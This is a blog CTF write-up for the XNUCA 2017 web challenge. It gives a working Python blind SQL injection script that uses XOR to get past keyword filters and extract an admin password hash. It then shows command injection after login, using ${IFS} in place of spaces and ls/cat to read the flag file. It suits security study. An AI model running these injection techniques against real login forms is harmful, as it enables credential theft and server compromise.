Chybeta

XNUCA 2017-Web专题赛前指导-阳光总在风雨后-writeup

mysql 盲注

命令执行 ${IFS}绕过

题目

1
http://218.76.35.74:20130/index.php

SQL注入

经过fuzz,一些关键字被过滤了:

1
2
3
4
5
6
or
for
union
空格
逗号,
*

一些关键字没有过滤:

1
2
3
4
5
6
7
select
from
where
substr
ascii
^
.

无回显,考察盲注。用异或^进行注入。

给出利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# -*- coding:utf-8 -*-
import requests
import string
import sys
global findBit
def sendPayload(payload):
proxy = {"http":"http://127.0.0.1:8080"}
url = "http://218.76.35.74:20130/login.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
parm = "uname="+payload+"&passwd=admin"
content = requests.post(url,data=parm,headers=headers,proxies=proxy)
return content.text
usernameerr = "username error!!"
def generateTarget(flag):
if flag == "database":
return "database()"
elif flag == "passwd":
return "(SELECT(passwd)from(admin))"
def doubleSearch(leftNum,rightNum,i,target):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
payload = "admin'^(select(ascii(mid(("+generateTarget(target) +")from("+ str(i) +"))))<="+str(midNum) +")='0"
recv = sendPayload(payload)
if usernameerr in recv:
doubleSearch(midNum,rightNum,i,target)
else:
doubleSearch(leftNum,midNum,i,target)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def exp():
global findBit
i = 1
findBit = 0
print "The passwd:"
target = "passwd"
while i :
doubleSearch(-1,255,i,target)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
exp()

获得密码的Md5值为:50f87a3a3ad48e26a5d9058418fb78b5
解密后为: shuangshuang

命令执行

登陆后有一个命令执行的地方,但是过滤了空格,而且仅仅回显出结果的最后一条。
参考:浅谈CTF中命令执行与绕过的小技巧,空格可以利用${IFS}替代。
而回显可以利用head来选择。

输入

1
ls${IFS}/var/www/html|head${IFS}-n${IFS}1

得到:

1
9ef89ad913e848b64b73e3aa721e44e4

输入

1
ls${IFS}/var/www/html/9ef89ad913e848b64b73e3aa721e44e4/

得到:

1
this_pag0_is_F1a9.php

输入:

1
cat${IFS}/var/www/html/9ef89ad913e848b64b73e3aa721e44e4/*

得到:

1
flag{sQ1_1NJEct_coMMond_eXEC}

或者直接访问:

1
http://218.76.35.74:20130/9ef89ad913e848b64b73e3aa721e44e4/this_pag0_is_F1a9.php

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:XNUCA 2017-Web专题赛前指导-阳光总在风雨后-writeup

文章作者:chybeta

发布时间:2017年08月16日 - 19:08

最后更新:2017年08月18日 - 19:08

原始链接:http://chybeta.github.io/2017/08/16/XNUCA-2017-Web专题赛前指导-阳光总在风雨后-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。